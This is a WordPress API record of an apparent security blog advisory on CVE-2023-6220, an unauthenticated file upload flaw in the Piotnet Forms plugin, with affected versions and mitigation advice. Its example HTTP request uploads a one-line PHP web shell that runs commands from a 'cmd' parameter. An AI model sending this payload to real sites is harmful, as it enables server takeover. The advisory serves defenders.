{"id":28158,"date":"2025-04-21T03:29:05","date_gmt":"2025-04-21T03:29:05","guid":{"rendered":""},"modified":"2025-05-19T06:52:05","modified_gmt":"2025-05-19T06:52:05","slug":"cve-2023-6220-piotnet-forms-plugin-vulnerability-in-wordpress-allows-arbitrary-file-uploads","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2023-6220-piotnet-forms-plugin-vulnerability-in-wordpress-allows-arbitrary-file-uploads\/","title":{"rendered":"<strong>CVE-2023-6220: Piotnet Forms Plugin Vulnerability in WordPress Allows Arbitrary File Uploads<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the continually evolving landscape of cybersecurity, it&#8217;s crucial to stay updated on the latest vulnerabilities that could pose a threat to your data and systems. One such vulnerability has been identified in the Piotnet Forms plugin for WordPress. This vulnerability, listed as CVE-2023-6220, could potentially allow unauthenticated attackers to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32579-unrestricted-file-upload-vulnerability-in-softclever-limited-sync-posts\/\"  data-wpil-monitor-id=\"32305\">upload arbitrary files<\/a> on the WordPress website&#8217;s server. This is due to insufficient <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2007-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion-and-potential-system-compromise\/\"  data-wpil-monitor-id=\"34591\">file type validation in a specific function of the plugin<\/a>. It&#8217;s an issue that could lead to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29017-remote-code-execution-in-code-astro-internet-banking-system-2-0-0\/\"  data-wpil-monitor-id=\"32847\">remote code execution<\/a>, potentially compromising your system or leading to data leakage.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2023-6220<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23391-incorrect-privilege-assignment-in-suse-rancher-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"33131\">Potential system<\/a> compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-3227872148\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Piotnet Forms | Up to and including 1.0.26<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability lies within the &#8216;piotnetforms_ajax_form_builder&#8217; function of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32569-critical-deserialization-of-untrusted-data-vulnerability-in-tableon-wordpress-plugin\/\"  data-wpil-monitor-id=\"32310\">Piotnet Forms plugin<\/a> for WordPress. This function does not adequately validate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-45724-unauthenticated-file-upload-vulnerability-in-hcl-dryice-myxalytics\/\"  data-wpil-monitor-id=\"33985\">file types being uploaded<\/a>, thus making it possible for an attacker to upload arbitrary files. An <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-29986-unauthenticated-remote-access-vulnerability-in-dell-s-common-event-enabler\/\"  data-wpil-monitor-id=\"34277\">unauthenticated attacker could exploit this vulnerability<\/a> by sending a specially crafted request to the server hosting the WordPress site. Once the arbitrary file is uploaded, this could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-56406-buffer-overflow-vulnerability-in-perl-leading-to-potential-denial-of-service-and-code-execution\/\"  data-wpil-monitor-id=\"33130\">potentially allow the attacker to execute code<\/a> remotely on the server, compromising the system and possibly leading to data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-1690410797\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here\u2019s a conceptual HTTP request that an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2021-27289-replay-attack-vulnerability-uncovered-in-zigbee-smart-home-kit\/\"  data-wpil-monitor-id=\"35540\">attacker might use to exploit this vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/piotnet-forms\/ajax-form-builder.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious_file.php&quot;\nContent-Type: application\/php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW<\/code><\/pre>\n<p>In this conceptual example, the attacker is uploading a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32577-php-remote-file-inclusion-vulnerability-in-hakeemnala-build-app-online\/\"  data-wpil-monitor-id=\"32326\">PHP file<\/a> that includes a command to execute shell commands. Once uploaded, the attacker can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21860-arbitrary-code-execution-vulnerability-in-openharmony\/\"  data-wpil-monitor-id=\"33845\">execute arbitrary<\/a> commands by calling the uploaded file with an appropriate &#8216;cmd&#8217; parameter.<\/p>\n<p><strong>Mitigation Guidance<\/strong><\/p>\n<p>The best mitigation strategy for this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32663-php-local-file-inclusion-vulnerability-in-fat-cooming-soon-plugin\/\"  data-wpil-monitor-id=\"35588\">vulnerability is to apply the vendor patch as soon<\/a> as it becomes available. As a temporary mitigation, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could help detect and prevent exploitation attempts. However, these measures will not eliminate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3844-critical-authentication-bypass-vulnerability-in-peprodev-ultimate-profile-solutions-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"45127\">vulnerability and should be considered as temporary solutions<\/a> until the patch is applied.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the continually evolving landscape of cybersecurity, it&#8217;s crucial to stay updated on the latest vulnerabilities that could pose a threat to your data and systems. One such vulnerability has been identified in the Piotnet Forms plugin for WordPress. This vulnerability, listed as CVE-2023-6220, could potentially allow unauthenticated attackers to upload arbitrary files on [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-28158","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/28158","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=28158"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/28158\/revisions"}],"predecessor-version":[{"id":40337,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/28158\/revisions\/40337"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=28158"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=28158"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=28158"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=28158"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=28158"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=28158"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=28158"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=28158"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=28158"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}